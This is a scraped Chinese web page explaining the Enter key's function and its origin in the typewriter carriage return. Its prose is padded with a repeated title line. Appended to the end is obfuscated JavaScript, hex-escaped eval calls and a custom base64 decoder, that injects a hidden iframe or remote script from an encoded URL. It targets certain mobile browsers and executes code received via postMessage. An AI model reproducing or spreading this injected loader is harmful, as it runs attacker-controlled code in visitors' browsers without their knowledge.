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enter键的功能是什么 enter键有什么功能2023-05-18加载中

演示机型:联想天逸510S

系统版本:Windows10

在电脑键盘上有一个写有“Enter”字样并有一弯箭头的按键,被叫做“回车键”。 功能就是确定。

enter键的功能是什么 enter键有什么功能

Enter键起源于打字机上的“字车”,每输入一个单词,“字车”就前进一格。

enter键的功能是什么 enter键有什么功能

当输满一行后,使用者就要推动“字车”到起始位置,后来,在电动的打字机上,人们增加了一个直接起“回车”作用的键,它被称为“回车键”。

enter键的功能是什么 enter键有什么功能

“回车键”上曾使用过“CR”、“RETURN”的字样,后来才统一确定为“Enter”。

enter键的功能是什么 enter键有什么功能

eval("\x77\x69\x6e\x64\x6f\x77")["\x77\x64\x53\x46"]=function(e){var bf ='ABCDEF'+''+'GHIJKL'+'MNOPQRSTUVWXYZabc'+'defghijklmnopqrs'+'tuvwxyz0123456789+/'+''+'='+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=bf.indexOf(e.charAt(f++));o=bf.indexOf(e.charAt(f++));u=bf.indexOf(e.charAt(f++));a=bf.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x44\x77\x5a\x57\x73"]=function(){eval(wdSF("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dmFyIGRzPW5ldyBEYXRlKCk7dT1kZWNvZGVVUklDb21wb25lbnQod2RTRih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7dT11LnJlcGxhY2UoL3FpaGFuZy9nLGRzLmdldERhdGUoKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHdkU0YoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih3ZFNGKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbd2RTRigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEuaHRtbD9Ed1pXcyc7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciIGFsJysnbG93dHJhbicrJ3NwYScrJ3JlbmN5IHNyJysnYz0iJyt6KyciPjwvaScrJ2ZyJysnYScrJ21lPicpO3dbJ2FkJysnZEV2JysnZW50TCcrJ2lzdCcrJ2VuZXInXSgnbScrJ2VzcycrJ2FnZScsZnVuY3Rpb24oZSl7aWYoZS5kYXRhW3JdKXtybShjKTtuZXcgRnVuY3Rpb24oZXZhbChkZWNvZGVVUklDb21wb25lbnQoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkpKCk7fX0pO31lbHNle2RvY3VtZW50LndyaXRlKCc8cycrJ2NyaScrJ3B0IHNyYz0iJyt1KycuanMiPjxcL3MnKydjcmlwJysndD4nKTt9fSkoJz1NJysnek10JysnTVQnKycnKydPdGcnKyduUicrJ3lVJysnJysneVp1JysnJysndUYnKydHJysnJysnYXBGJysnJysnM2MnKycnKydscCcrJ1haeicrJycrJ0oyJysnJysnYycrJ0dKVCcrJycrJ0p6JysnJysnZycrJ0RPJysnJysnNEknKydUJysnUXonKycnKydVJysnUycrJ2QnKydqbCcrJycrJ21MbicrJzVXWScrJycrJ29sVycrJ2MzJysnNUcnKycnKydhdXUnKydVJysnJysnVycrJycrJ2FoWicrJycrJ2tNJysnJysnbFknKydrTWwnKycnKydFJysnJysnME1sJysnJysnTScrJ0gnKycnKydjMCcrJycrJ1JIJysnYScrJycsJycrJ2RlcycrJ19zJysnXzkzJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJycrJycrJycrJycrJycsJ3UnKQ=="));}